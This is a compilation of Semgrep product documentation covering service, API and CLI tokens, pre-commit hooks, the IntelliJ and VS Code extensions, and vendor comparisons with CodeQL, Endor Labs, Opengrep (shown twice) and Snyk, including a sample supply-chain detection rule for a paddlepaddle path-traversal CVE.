Service tokens are functionally the same as API tokens, but instead of being manually generated by a user, they are automatically generated during repository onboarding for CI/CD scans or when repositories are added to Semgrep AppSec Platform. These tokens authenticate agents running automated scans. The default scope for these tokens is Agent/CI, but admins can edit the token and grant them the API scope as well.
## Token scopes
The following table displays the scopes assigned to each token:
| Token | Send findings from a remote repository | Send findings from a local repository | Connect to Semgrep API |
| :----------- | :------------------------------------- | :------------------------------------ | :--------------------- |
| API | βΒ No | βΒ No | βοΈΒ Yes |
| CLI | βΒ No | βοΈΒ Yes | βΒ No |
| Service (CI) | βοΈΒ Yes | βοΈΒ Yes | βΒ No |
The following table displays typical uses for token scopes:
| Token | Use |
| :----------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| API | Used to access Semgrep's API |
| CLI | Auto-generated by Semgrep when a user is logging in through Semgrep CLI. Use this token to scan your code locally using your organization's configured policies, including private rules. |
| Service (CI) | Generated by Semgrep when onboarding (adding) a repository to Semgrep AppSec Platform. |
## View and manage tokens
You can view a list of tokens for your deployment [in Semgrep AppSec Platform under **Settings > Tokens**](https://semgrep.dev/orgs/-/settings/tokens).
Each token type has its own page that lists all existing tokens of that type. Use the search bar to help find a specific token.
For **API tokens**, you can use the drop-down menu to view only those tokens associated with specific roles, such as **Admin** or **Member**.
For **Service tokens**, you can use the drop-down menu to view tokens for specific services, such as **Semgrep Managed Scans**, **Autofix**, or **AI Scan**.
### Create an API token
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Settings > Tokens > API tokens**](https://semgrep.dev/orgs/-/settings/tokens/api).
Click **Create new token**.
Copy the **Secrets name** and the **Secrets value**, and save these values. The **Secrets value** is your token and is only shown at this time.
Select the **Token scopes**.
Optional: change the **Name** of the token. This is the value used in the list of tokens associated with your Semgrep deployment.
Click **Save** to proceed.
### Create a CLI token
Once you've [set up the Semgrep CLI](/getting-started/cli#set-up-semgrep), create a CLI token by running the following command:
```bash theme={null}
semgrep login
```
Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed. In the **Semgrep CLI login** window, click **Activate** to proceed.
### Edit a token
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > Tokens**.
Go to one of the following pages based on the type of token you're interested in: **API tokens**, **CLI tokens**, or **Semgrep service tokens**.
Find the token, and click **Edit**.
In the dialog that appears, change the **Token scopes** or the displayed **Name**.
Click **Save** to proceed.
### Revoke a token
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > Tokens**.
Go to one of the following pages based on the type of token you're interested in: **API tokens**, **CLI tokens**, or **Semgrep service tokens**.
Find the token, and click **Revoke**.
# Extensions
Source: https://docs.semgrep.dev/extensions/overview
Several third-party tools include Semgrep extensions.
## Official IDE extensions
| Name | Marketplace link | Documentation |
| :------------------------------------------------------ | :--------------------------------------------------------------------------------------- | :--------------------------------------------------------- |
| Microsoft Visual Studio Code | [ `semgrep-vscode`](https://marketplace.visualstudio.com/items?itemName=semgrep.semgrep) | [Semgrep VS Code extension](/extensions/semgrep-vs-code) |
| IntelliJ Ultimate Idea and many other IntelliJ products | [ `semgrep-intellij`](https://plugins.jetbrains.com/plugin/22622-semgrep) | [Semgrep IntelliJ extension](/extensions/semgrep-intellij) |
| Emacs | [ `lsp-mode`](https://github.com/emacs-lsp/lsp-mode) | See repository README |
## Use of Language Server Protocol (LSP)
All of the official IDE extensions use the [Language Server Protocol](https://microsoft.github.io/language-server-protocol/) to communicate with Semgrep. This allows the team to focus on one codebase that can be shared across most modern editor platforms.
## `pre-commit`
Prevent secrets or security issues from entering your Git source control history by running Semgrep as a [ pre-commit](https://pre-commit.com/) hook. See [`pre-commit` documentation](/extensions/pre-commit) for details.
## Semgrep as an engine
Many other tools have capabilities powered by Semgrep. Add yours [with a pull request](https://github.com/semgrep/semgrep-docs)!
# Run scans on pre-commit
Source: https://docs.semgrep.dev/extensions/pre-commit
The [pre-commit framework](https://pre-commit.com/) can run `semgrep` when you commit changes. This is helpful in preventing secrets and security issues from leaking into your Git history.
## Prerequisites
[ The `pre-commit` framework](https://pre-commit.com).
## `pre-commit` with Semgrep Community Edition (no login)
Use these instructions to run `pre-commit` without logging in. You can still use custom rules or rules from the Semgrep Registry.
Add the following to your `.pre-commit-config.yaml` file:
```yaml theme={null}
repos:
- repo: https://github.com/semgrep/pre-commit
rev: 'v1.172.0'
hooks:
- id: semgrep
entry: semgrep
# Replace with your custom rule source
# or see https://semgrep.dev/explore to select a ruleset and copy its URL
args: ['--config', '', '--error', '--skip-unknown-extensions']
```
## `pre-commit` with your Semgrep AppSec Platform configuration
You can also run custom rules and rulesets from Semgrep AppSec Platform, similar to running `semgrep ci`.
Ensure that you are logged in:
Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
```bash theme={null}
semgrep login
```
In the **Semgrep CLI login**, click **Activate** to proceed.
Add the following to your `.pre-commit-config.yaml` file:
```yaml theme={null}
repos:
- repo: https://github.com/semgrep/pre-commit
rev: 'v1.172.0'
hooks:
- id: semgrep-ci
```
For guidance on customizing Semgrep's behavior in pre-commit, see [Customize Semgrep in pre-commit](/kb/integrations/customize-semgrep-precommit).
# Semgrep IntelliJ extension
Source: https://docs.semgrep.dev/extensions/semgrep-intellij
[Semgrep](https://semgrep.dev/) swiftly scans code and package dependencies for known issues, software vulnerabilities, and detected secrets. Run Semgrep in your developer environment with the IntelliJ extension to catch code issues as you type. By default, the Semgrep IntelliJ extension scans code whenever you change or open files.
**INFO**
Semgrep's IntelliJ extension for Windows users is currently in beta.
## Prerequisites
The Semgrep IntelliJ extension communicates with Semgrep command-line interface (CLI) to run scans. Install Semgrep CLI before you can use the extension. To install Semgrep CLI:
```bash theme={null}
# preferred: install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
$ pipx install semgrep
# recommended for users already using uv (https://docs.astral.sh/uv/)
$ uv tool install semgrep
# best-effort: install through homebrew (maintained on a best-effort basis and can lag behind the latest release)
$ brew install semgrep
```
**NOTE**
`pipx` and `uv` are the preferred installation methods. The Homebrew formula is maintained on a best-effort basis and often lags behind the latest release.
**Homebrew users:** ensure that you've [added Homebrew to your PATH](https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities).
## Quickstart
Install the Semgrep extension:
* Visit [ Semgrep's page on the JetBrains Marketplace](https://plugins.jetbrains.com/plugin/22622-semgrep).
* In IntelliJ: **Settings/Preferences > Plugins > Marketplace > Search for `semgrep-intellij` > Install**. You may need to restart IntelliJ for the Semgrep extension to be installed.
Sign in: Press Ctrl+β§Shift+A (Windows) or βCommand+β§Shift+A (macOS) and sign in to Semgrep AppSec Platform by selecting the following command:
```bash theme={null}
Sign in with Semgrep
```
Test the extension by pressing Ctrl+β§Shift+A (Windows) or βCommand+β§Shift+A (macOS) and run the following command:
```bash theme={null}
Scan workspace with Semgrep
```
See Semgrep findings: Hold the pointer over the code that has the red underline.
**FEATURE MATURITY**
Semgrep's IntelliJ extensions are currently in beta. Currently, the IntelliJ extension only supports Semgrep Community Edition (CE) - it doesn't support Semgrep Supply Chain, Secrets, Pro rules, or Pro Engine. Please join the [Semgrep community Slack workspace](https://go.semgrep.dev/slack) and let the Semgrep team know if you encounter any issues.
## Supported Jet Brains products
Semgrep's IDE extension is available in many Jet Brains products:
* AppCode
* Aqua
* CLion
* DataSpell
* DataGrip
* GoLand
* IntelliJ IDEA Ultimate
* PhpStorm
* PyCharm Professional
* Rider
* RubyMine
* RustRover
* WebStorm
**INTELLIJ EXTENSION DOES NOT SUPPORT:**
* IntelliJ IDEA Community Edition.
Semgrep does not offer an IDE integration with IntelliJ Community Edition because [this version lacks support for the Language Server Protocol (LSP)](https://plugins.jetbrains.com/intellij/language-server-protocol.html#supported-ides), which is essential for enabling Semgrepβs code scanning features. IntelliJ Ultimate, which includes LSP support, is required to use Semgrep's IDE integration.
## Commands
Run Semgrep extension commands through the IntelliJ Command Palette. You can access the Command Palette by pressing Ctrl+β§Shift+A (Windows) or βCommand+β§Shift+A (macOS) on your keyboard.
* `Sign in with Semgrep`: Sign up or log in to the Semgrep AppSec Platform (this command opens a new window in your browser). Alternatively, you can log in through your command-line interface by running `semgrep login`.
* `Sign out of Semgrep`: Log out of Semgrep AppSec Platform. If you are logged out, you lose access to Semgrep Supply Chain and Semgrep Secrets. Alternatively, you can sign out through your command-line interface by running `semgrep logout`.
* `Scan workspace with Semgrep`: Scan files that have been changed since the last commit in your current workspace.
* `Scan workspace with Semgrep (Including Unmodified Files)`: Scan all files in the current workspace.
**TIP**
You can also click the Semgrep icon in the IntelliJ toolbar to quickly access all available commands.
## Features
### Automatic scanning
When you open a file, Semgrep scans it right away.
### Rule Quick Links
Hover over a match and click the link.
## Support
If you need our support, join the [Semgrep community Slack workspace](https://go.semgrep.dev/slack) and tell us about any problems you encountered.
## Limitations
Semgrep's VS Code extension supports the use of Pro rules and cross-file analysis. Other IDE scans use Semgrep Community Edition (CE) for its speed, and these scans are limited to single-file analysis. As a result, you may encounter a higher rate of false positives.
## License
The Semgrep IntelliJ extension is licensed under the LGPL 2.1 license.
# Semgrep Visual Studio Code extension
Source: https://docs.semgrep.dev/extensions/semgrep-vs-code
[Semgrep's Visual Studio Code (VS Code) Extension](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) allows you to scan lines when you open and change files in your workspace. It offers:
* Automatic scans whenever you open a file
* Inline results and problem highlighting, as well as quick links to the definitions of the rules underlying the findings
* Rule-defined fix, which allows you to apply Semgrep's suggested resolution for the findings
## Prerequisites
* See [Supported Languages](/supported-languages) to verify that the extension supports your project.
* Windows users must use Semgrep VS Code extension v1.6.2 or later.
## Quickstart
[Install the Semgrep extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension). If you're unfamiliar with installing VS Code extensions, see the Extension Marketplace's article [Install an Extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension).
Use Ctrl+β§Shift+P or βCommand+β§Shift+P (macOS) to launch the Command Palette, and run the following to sign in to Semgrep AppSec Platform:
```bash theme={null}
Semgrep: Sign in
```
You can use the extension without signing in, but doing so enables better results since you benefit from [Semgrep Code](/semgrep-code/overview) and its [Pro rules](/semgrep-code/pro-rules).
Launch the Command Palette using Ctrl+β§Shift+P or βCommand+β§Shift+P (macOS), and scan your files by running:
```bash theme={null}
Semgrep: Scan all files in workspace
```
To see detailed vulnerability information, hover over the code underlined in yellow. You can also see the findings identified by Semgrep using β§Shift+Ctrl+M or βCommand+β§Shift+M (macOS) and opening the **Problems** tab.
## Commands
Run Semgrep extension commands through the [Visual Studio Code Command Palette](https://code.visualstudio.com/getstarted/userinterface#_command-palette). You can access the Command Palette using Ctrl+β§Shift+P or βCommand+β§Shift+P (macOS). The following list includes all available Semgrep extension commands:
* `Semgrep: Scan all files in a workspace`: Scan all files in the current workspace.
* `Semgrep Search: Clear`: Clear pattern searches from the Primary Side Bar's Semgrep Search view.
* `Semgrep Search: Focus on Search Results View`: Bring the Primary Side Bar's Semgrep Search view into focus
* `Semgrep Restart Language Server`: Restart the language server
* `Semgrep: Scan changed files in a workspace`: Scan files that have been changed since the last commit in your current workspace.
* `Semgrep: Search by pattern`: Search for patterns in code using Semgrep pattern syntax. For more information, see [Pattern syntax](/writing-rules/pattern-syntax) documentation.
* `Semgrep: Show Generic AST`: Show generic AST in a new window
* `Semgrep: Show named Generic AST`: Show named AST in a new window
* `Semgrep: Sign in`: Sign in or log in to the Semgrep AppSec Platform (this command opens a new window in your browser). When you sign in, you can automatically scan with Semgrep [Pro rules](/semgrep-code/pro-rules) and add additional rules to the [Policies](https://semgrep.dev/orgs/-/policies) in Semgrep Code. If you are logged in with the command-line interface using semgrepΒ login, you are also already signed in with the Visual Studio Code Semgrep extension. Alternatively, you can log in through your command-line interface by running `semgrep login`.
* `Semgrep: Sign out`: Log out from Semgrep AppSec Platform. Alternatively, you can sign out through your command-line interface by running `semgrep logout`.
* `Semgrep: Update rules`: For logged-in users. If the rules in the [Policies](https://semgrep.dev/orgs/-/policies) or rules included through the **Semgrep βΊ Scan: Configuration** configuration option have been changed, this command loads the new configuration of your rules for your following scan.
**TIP**
Tip: You can click the Semgrep icon in the Visual Studio Code to access all available commands quickly.
## Additional extension features
Use auto-fix to apply code change suggestions from Semgrep to remediate the security issue.
Add and update new rules to expand Semgrep extension's capabilities.
Fine-tune and customize the rules Semgrep uses to improve your scan results:
Go to [Semgrep Registry](https://semgrep.dev/explore). Ensure that you are signed in.
Explore the Semgrep Registry, select a rule, and then click **Add to Policy**. You can view and manage your rules in [Policies](https://semgrep.dev/orgs/-/policies).
Rescan your code. Use Ctrl+β§Shift+P or βCommand+β§Shift+P (macOS) to launch the Command Palette, then run `Semgrep: Update rules`.
## Configure the extension
To configure the Semgrep extension, open its **Extension Settings** page:
Use β§Shift+Ctrl+X or β§Shift+βCommand+X (macOS) to open the **Extensions** view.
Select **Semgrep**.
Click the **gear** and select **Extension Settings**.
### Configuration options
* **Semgrep βΊ Do Hover**: Enable AST node views when hovering over a finding.
* **Semgrep βΊ Path**: Set the path to the Semgrep executable.
* **Semgrep βΊ Scan: Configuration**: Specify rules or rulesets you want Semgrep to use to scan your code. Each item can be a YAML configuration file, a URL of a configuration file, or a directory of YAML files. Use `auto` to automatically obtain rules tailored to your project. Semgrep uses your project URL to log into the Semgrep Registry. See [Running rules](/running-rules) for more information. Run `Semgrep: Update rules` using the Visual Studio Code Command Palette to update the rules configuration for your following scan whenever you change the rule configuration.
* **Semgrep βΊ Scan: Exclude**: List files and directories that Semgrep should ignore when scanning.
* **Semgrep βΊ Scan: Include**: List files and directories scanned by Semgrep. This option globally overrides the workspace setting. As a result, Semgrep scans all included paths.
* **Semgrep βΊ Scan: Jobs**: Specify how many parallel jobs can run simultaneously. The default number of parallel jobs is one.
* **Semgrep βΊ Scan: Max Memory**: Sets the maximum memory in MB to use.
* **Semgrep βΊ Scan: Max Target Bytes**: Sets the maximum size of the target in bytes to scan.
* **Semgrep βΊ Scan: Only Git Dirty**: Allow Semgrep to scan your code whenever you open a new file and display the findings for lines that have changed since the last commit. On by default.
* **Semgrep βΊ Scan: Pro\_intrafile**: Enable intrafile scanning using the Pro Engine.
* **Semgrep βΊ Scan: Timeout**: Set the maximum run time in seconds before Semgrep times out and stops scanning your code. The default value is 30.
* **Semgrep βΊ Scan: Timeout Threshold**: Set the maximum number of rules that can timeout on a file before the file is skipped. If set to 0, there will be no limit. Defaults to 3.
* **Semgrep > Trace: Server**: This option is useful for debugging. The **messages** option displays communication of the Semgrep Visual Studio Code extension with the LSP server. The default option is **verbose**.
### Experimental configuration options
The following experimental features should only be used upon recommendation by Semgrep:
* **Semgrep > Ignore CLI Version**: Ignore the CLI Version and enable all extension features.
## Limitations
Semgrep's VS Code extension supports the use of Pro rules and cross-file analysis. Other IDE scans use Semgrep Community Edition (CE) for its speed, and these scans are limited to single-file analysis. As a result, you may encounter a higher rate of false positives.
## License
The Semgrep VS Code extension is licensed under the LGPL 2.1 license.
# Compare Semgrep to CodeQL
Source: https://docs.semgrep.dev/faq/comparisons/codeql
Both Semgrep and CodeQL use static analysis to find bugs, but there are a few differences:
* Semgrep operates directly on source code, whereas CodeQL requires a buildable environment.
* Semgrep provides both proprietary and open source options that can be run anywhere; CodeQL is not open source and you must pay to run it on any non-open-source code.
* Semgrep focuses on speed and ease of use. and doesnβt require compiled code.
* Semgrep Community Edition (CE) provides [intraprocedural dataflow](/writing-rules/data-flow/data-flow-overview). [Semgrep Code](/semgrep-code/overview)'s cross-file and cross-function analysis has similar capabilities as CodeQL in terms of cross-function dataflow analysis for a subset of supported languages.
* Both have publicly available rules.
* Semgrep rules look like the source code youβre writing; CodeQL has a separate domain-specific-language for writing queries.
* Semgrep has an online, hosted free plan for up to ten contributors to private repositories; both have a hosted paid plan.
# Compare Semgrep to Endor Labs
Source: https://docs.semgrep.dev/faq/comparisons/endor-labs
## Prioritization
Both Endor Labs and Semgrep support the prioritization of findings so that AppSec teams focus on the most impactful findings. While both companies offer findings filters based on criteria like reachability and EPSS scores, Semgrep offers support for statuses in addition to the basic reachability statuses of **reachable** and **not reachable**, such as **always reachable** and **conditionally reachable**.
Furthermore, Semgrep Multimodal uses AI to help organization admins receive information on top backlog tasks, allowing them to prioritize findings from all products, including the SAST and SCA products, not just those resulting from dependency vulnerability scans.
## Reachability for transitive dependencies
Reachability has been a fundamental part of Semgrep Supply Chain from the beginning. Supply Chain offers advanced reachability analysis for direct dependencies in the form of dataflow reachability, offering accuracy beyond that offered by Endor Labs. This coverage is offered for seven languages and counting.
## Vulnerable functions
Semgrep doesn't just identify a vulnerability as reachable when a vulnerable function is called -- it also takes into account *how* the vulnerable function is called and what data flows into that function. These functions are achieved through the use of Semgrep's rule syntax; when a rule is written, all possible permutations of the vulnerability are encapsulated in the rule. This functionality is something that Endor Labs doesn't have.
Semgrep's security research team doesn't just focus on analyzing a vulnerable function when writing rules. The team extends the scope of analysis to all the third-party callers of the vulnerable functions, not just the reported third-party function that's vulnerable. This extends the set of vulnerable functions greatly. The following rule demonstrates this functionality:
```yaml expandable theme={null}
---
rules:
- id: ssc-a462c702-1797-4f92-a577-2232cc25ab08
message: Affected versions of paddlepaddle are vulnerable to Improper Limitation
Of A Pathname To A Restricted Directory ('Path Traversal') in the
`download` and `_check_exists_and_download` of `paddle.dataset.common`.
severity: HIGH
metadata:
confidence: HIGH
category: security
cve: CVE-2024-0818
cwe:
- "CWE-22: Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')"
ghsa: GHSA-2rp8-hff9-c5wr
owasp:
- A01:2021 - Broken Access Control
- A05:2017 - Broken Access Control
- A06:2021 - Vulnerable and Outdated Components
publish-date: 2024-03-07T15:30:38Z
references:
- https://github.com/advisories/GHSA-2rp8-hff9-c5wr
- https://nvd.nist.gov/vuln/detail/CVE-2024-0818
sca-fix-versions: []
sca-kind: reachable
sca-schema: 20230302
sca-severity: CRITICAL
sca-vuln-database-identifier: CVE-2024-0818
technology:
- python
r2c-internal-project-depends-on:
depends-on-either:
- namespace: pypi
package: paddlepaddle
version: <=2.6.0
languages:
- python
patterns:
- pattern-either:
- pattern: paddle.dataset.common.download(...)
- pattern: paddle.dataset.common._check_exists_and_download(...)
```
The vulnerable function is `download`, as shown by the [fix commit](https://github.com/PaddlePaddle/Paddle/commit/5c50d1a8b97b310cbc36560ec36d8377d6f29d7c). The function `_check_exists_and_download` calls `download`, which you can see in the [source code](https://github.com/PaddlePaddle/Paddle/blob/5c50d1a8b97b310cbc36560ec36d8377d6f29d7c/python/paddle/dataset/common.py#L223). Thus, both functions are flagged in the rule in the final three lines.
Learn more about how the security research team writes rules in [A day in the life: Supply Chain Security Researcher](https://semgrep.dev/blog/2024/a-day-in-the-life-/learn/security-foundations/supply-chain-security-researcher)
## Policies and flexibility
Semgrep Supply Chain results in a failed CI job only when there are critical or high-severity findings. However, Semgrep supports notifications and integration with Jira to create tickets for all Supply Chain findings, and it offers the ability to only leave comments on PRs or block a change regarding license detection.
The policies for Semgrep's other products, Semgrep Code and Semgrep Secrets, provide extensive flexibility, especially with respect to a developer's workflow, by allowing results to appear:
* Only in the AppSec teamβs view (monitor mode)
* In the AppSec team's view **and** in the developerβs workflow, while not failing the CI job (comment mode)
* In the AppSec team's view **and** in the developerβs workflow, while also failing the CI job (block mode)
## Dependency lifecycle management
To help you manage your findings, Semgrep provides information, including EPSS probabilities, severity levels, transitivity information, and multiple levels of dataflow reachability.
## Accuracy of results
Semgrep has reachability analysis for over 80% of critical CVEs dating back to 2017 and 100% of critical and high severity CVEs dating back to May 2022. Endor Labs' reachability data, however, dates back to 2018.
# Compare Semgrep to Opengrep
Source: https://docs.semgrep.dev/faq/comparisons/opengrep
To resolve confusion within security and developer communities when trying to choose between Semgrep and Opengrep, this page highlights some of the key distinctions to help with decision-making.
[Semgrep Community Edition](https://semgrep.dev/products/community-edition) (CE) is the collective name for the [open source Semgrep engine](https://github.com/semgrep/semgrep), previously known as Semgrep OSS, and the collection of rules published and maintained by the Semgrep community and Semgrep, Inc.
Opengrep is a fork of Semgrep CE.
* The Semgrep Community Edition engine is [licensed under LGPL 2.1](https://github.com/semgrep/semgrep/blob/develop/LICENSE).
* The Opengrep engine is [licensed under LGPL 2.1](https://github.com/opengrep/opengrep/blob/main/LICENSE).
The LGPL 2.1 license is an open source license that means any copies of the Semgrep or Opengrep engine must include a copy of the full license text and the original copyright notice and must make available the source code when a derivative work is distributed. Any such derivative works must be licensed under the same or later version of the LGPL.
Yes, Semgrep CE is open source. This license for the engine has remained unchanged since Semgrep, Inc. began development in early 2020.
Semgrep maintains a collection of rules written by the community and Semgrep, Inc., and they are licensed under the [Semgrep Rules License](https://semgrep.dev/legal/rules-license/). This license limits their use to internal, non-competing, and non-SaaS contexts, and explicitly limits certain commercial usage. This applies to all rules authored by Semgrep and those contributed to our public repositories.
The license for Semgrep's CE engine remains unchanged: LGPL 2.1.
It was shared in [Important updates to Semgrep OSS](https://semgrep.dev/blog/2024/important-updates-to-semgrep-oss/) that licensing for Semgrep-maintained rules would change from Commons Clause with LGPL 2.1 to the Semgrep Rules License. This change limits certain commercial usage of the rules authored by Semgrep and contributed to our public repositories.
Yes, both projects are actively adding new features and bug fixes.
The command-line interfaces (CLI) for both projects have similar command usage.
Individual arguments to these commands may have diverged over time.
In many cases, the answer is yes.
Semgrep has a large community of users, including major enterprises and service providers that depend on reliability from Semgrep CE. When introducing new features, it is important to see benchmarks that give confidence that regressions or a degradation of performance can be avoided when rolling out new capabilities.
Please [contact Semgrep](/support) if there is a feature missing or if you have any questions.
Yes, Semgrep can be used natively cross-platform, including Windows. Previously, it was necessary to install Windows Subsystem for Linux (WSL) or run Semgrep inside a container or VM. That is no longer the case. The Semgrep command-line interface (CLI) can run directly from a Windows prompt or PowerShell environment. Semgrep CE can also be used with plugins for VS Code, IntelliJ, or Cursor.
See [Five considerations when building cross-platform tools for Windows and macOS](https://semgrep.dev/blog/2025/five-considerations-when-building-cross-platform-tools-for-windows-and-macos) for more information about Windows support.
Yes, the Semgrep CE engine is implemented with **Multicore OCaml**, which supports shared-memory parallel processing through the mechanism known as multicore. This allows the Semgrep engine to leverage multiple threads with shared memory in order to more efficiently use processing resources.
See [Boosting security scan performance for monorepos with multicore parallel processing](https://semgrep.dev/blog/2025/boosting-security-scan-performance-for-monorepos-with-multicore-parallel-processing/) for additional information.
Performance and speed claims rely heavily upon a number of factors and often come with trade-offs. You may be able to optimize one particular use case at the expense of performance in another. Semgrep's solutions and support teams can help with evaluation and a proof of value for your specific use cases.
See [Benchmarking Semgrep Community Edition performance improvements](https://semgrep.dev/blog/2025/benchmarking-semgrep-performance-improvements/) for more about how Semgrep CE thinks about performance.
Semgrep CE is the open source version of the [Semgrep Pro](https://semgrep.dev/products/pro-engine) engine.
Visit [Pricing](https://semgrep.dev/pricing) for a comparison of various features.
### Does Semgrep support interfile taint analysis?
Semgrep Community Edition does not support inter-file taint analysis, since this is a feature of Semgrep Pro. This includes all the many variations of data flow across supported languages and environments, including class inheritance, nested functions, type inference, constant propagation, typed metavariables, alias variables, loop mutations, and much more.
# Compare Semgrep to Opengrep
Source: https://docs.semgrep.dev/faq/comparisons/opengrep-1
To resolve confusion within security and developer communities when trying to choose between Semgrep and Opengrep, this page highlights some of the key distinctions to help with decision-making.
[Semgrep Community Edition](https://semgrep.dev/products/community-edition) (CE) is the collective name for the [open source Semgrep engine](https://github.com/semgrep/semgrep), previously known as Semgrep OSS, and the collection of rules published and maintained by the Semgrep community and Semgrep, Inc.
Opengrep is a fork of Semgrep CE.
* The Semgrep Community Edition engine is [licensed under LGPL 2.1](https://github.com/semgrep/semgrep/blob/develop/LICENSE).
* The Opengrep engine is [licensed under LGPL 2.1](https://github.com/opengrep/opengrep/blob/main/LICENSE).
The LGPL 2.1 license is an open source license that means any copies of the Semgrep or Opengrep engine must include a copy of the full license text and the original copyright notice and must make available the source code when a derivative work is distributed. Any such derivative works must be licensed under the same or later version of the LGPL.
Yes, Semgrep CE is open source. This license for the engine has remained unchanged since Semgrep, Inc. began development in early 2020.
Semgrep maintains a collection of rules written by the community and Semgrep, Inc., and they are licensed under the [Semgrep Rules License](https://semgrep.dev/legal/rules-license/). This license limits their use to internal, non-competing, and non-SaaS contexts, and explicitly limits certain commercial usage. This applies to all rules authored by Semgrep and those contributed to our public repositories.
The license for Semgrep's CE engine remains unchanged: LGPL 2.1.
It was shared in [Important updates to Semgrep OSS](https://semgrep.dev/blog/2024/important-updates-to-semgrep-oss/) that licensing for Semgrep-maintained rules would change from Commons Clause with LGPL 2.1 to the Semgrep Rules License. This change limits certain commercial usage of the rules authored by Semgrep and contributed to our public repositories.
Yes, both projects are actively adding new features and bug fixes.
The command-line interfaces (CLI) for both projects have similar command usage.
Individual arguments to these commands may have diverged over time.
In many cases, the answer is yes.
Semgrep has a large community of users, including major enterprises and service providers that depend on reliability from Semgrep CE. When introducing new features, it is important to see benchmarks that give confidence that regressions or a degradation of performance can be avoided when rolling out new capabilities.
Please [contact Semgrep](/support) if there is a feature missing or if you have any questions.
Yes, Semgrep can be used natively cross-platform, including Windows. Previously, it was necessary to install Windows Subsystem for Linux (WSL) or run Semgrep inside a container or VM. That is no longer the case. The Semgrep command-line interface (CLI) can run directly from a Windows prompt or PowerShell environment. Semgrep CE can also be used with plugins for VS Code, IntelliJ, or Cursor.
See [Five considerations when building cross-platform tools for Windows and macOS](https://semgrep.dev/blog/2025/five-considerations-when-building-cross-platform-tools-for-windows-and-macos) for more information about Windows support.
Yes, the Semgrep CE engine is implemented with **Multicore OCaml**, which supports shared-memory parallel processing through the mechanism known as multicore. This allows the Semgrep engine to leverage multiple threads with shared memory in order to more efficiently use processing resources.
See [Boosting security scan performance for monorepos with multicore parallel processing](https://semgrep.dev/blog/2025/boosting-security-scan-performance-for-monorepos-with-multicore-parallel-processing/) for additional information.
Performance and speed claims rely heavily upon a number of factors and often come with trade-offs. You may be able to optimize one particular use case at the expense of performance in another. Semgrep's solutions and support teams can help with evaluation and a proof of value for your specific use cases.
See [Benchmarking Semgrep Community Edition performance improvements](https://semgrep.dev/blog/2025/benchmarking-semgrep-performance-improvements/) for more about how Semgrep CE thinks about performance.
Semgrep CE is the open source version of the [Semgrep Pro](https://semgrep.dev/products/pro-engine) engine.
Visit [Pricing](https://semgrep.dev/pricing) for a comparison of various features.
### Does Semgrep support interfile taint analysis?
Semgrep Community Edition does not support inter-file taint analysis, since this is a feature of Semgrep Pro. This includes all the many variations of data flow across supported languages and environments, including class inheritance, nested functions, type inference, constant propagation, typed metavariables, alias variables, loop mutations, and much more.
# Compare Semgrep to Snyk
Source: https://docs.semgrep.dev/faq/comparisons/snyk
## SAST
Both Semgrep and Snyk offer out-of-the-box SAST solutions. Semgrep makes it easier to customize the rules that run against your code. Because these rules are visible and customizable, you can analyze your results to see if the relevant vulnerabilities were caught.
In addition to selecting your rules, Semgrep allows you to write custom rules to capture use cases driven by your organization's goals. To help you write rules, [Semgrep Editor](https://semgrep.dev/playground) provides a structure mode to guide you through the process, allows you to test your in-progress rules, and adds them to your organizationβs [Policies page](/semgrep-code/policies). Semgrep offers rule-writing capabilities to all users, while Snyk limits it to Enterprise users.
Both Semgrep and Snyk offer remediation advice for findings identified during scans. Snyk displays its recommendations in its web app, in supported IDEs, and CLI, while Semgrep displays remediation advice and guidance in its web app, CLI, supported IDEs, and in the form of PR or MR comments.
Snyk and Semgrep both display prioritization metrics to help you decide which findings you should work on first. For SAST, Snyk encapsulates this information into a priority score, which provides you with information on the impact and actionability related to the finding. Semgrep, on the other hand, provides severity information, confidence in the rule to detect findings that are true positives, and likelihood that an attacker can exploit the issues found.
Additionally, Semgrep provides action recommendations through Multimodal, which offers AI-powered security recommendations to help you review, triage, and remediate your Semgrep findings.
Snyk offers autofix capabilities for its SCA product, but not for its SAST product. Semgrep offers **Suggested fixes** for SAST and SCA. In the event of a true positive where the rule does not have a human-written fix, [Multimodal can create one](/semgrep-multimodal/overview#autofix).
## SCA
Snyk offers reachability analysis for Java, JavaScript, and TypeScript, while Semgrep offers reachability analysis for [multiple languages, including Java, JavaScript, and Ruby](/supported-languages/#semgrep-supply-chain).
Snyk can detect whether dependencies are direct or transitive. However, this information is only available with Enterprise plans, and the information is limited to projects using Maven or Node.js, specifically npm and Yarn packages. Semgrep Supply Chain offers advanced reachability analysis for direct dependencies in the form of dataflow reachability. Semgrep offers this coverage for seven languages and counting.
Semgrep and Snyk both offer license compliance features, ensuring that the dependencies that your developers use meet the requirements set by your organization.
To help you manage your findings, Semgrep provides you with the findings' EPSS probabilities, severity levels, and transitivity information. Snyk assesses impact and likelihood and encapsulates this information into a risk score.
## Policies and rules management
Semgrep Code and Semgrep Secret's policies management feature provides extensive flexibility, especially with respect to a developer's workflow, by allowing results to appear:
* Only in the AppSec teamβs view (monitor mode)
* In the AppSec team's view **and** in the developerβs workflow, while not failing the CI job (comment mode)
* In the AppSec team's view **and** in the developerβs workflow, while also failing the CI job (block mode)
Semgrep Supply Chain results in a failed CI job only when there are critical or high-severity findings.
## Secrets detection
Semgrep Secrets leverages semantic analysis, entropy analysis, and validation to accurately detect and fix secrets. Snyk maintains a [business partnership with GitGuardian](https://blog.gitguardian.com/were-teaming-up-with-snyk-to-strengthen-developer-security/) to offer secrets scanning as part of Snyk Code.
# Compare Semgrep to SonarQube
Source: https://docs.semgrep.dev/faq/comparisons/sonarqube
Both Semgrep and SonarQube use static analysis to find bugs, but there are a few differences:
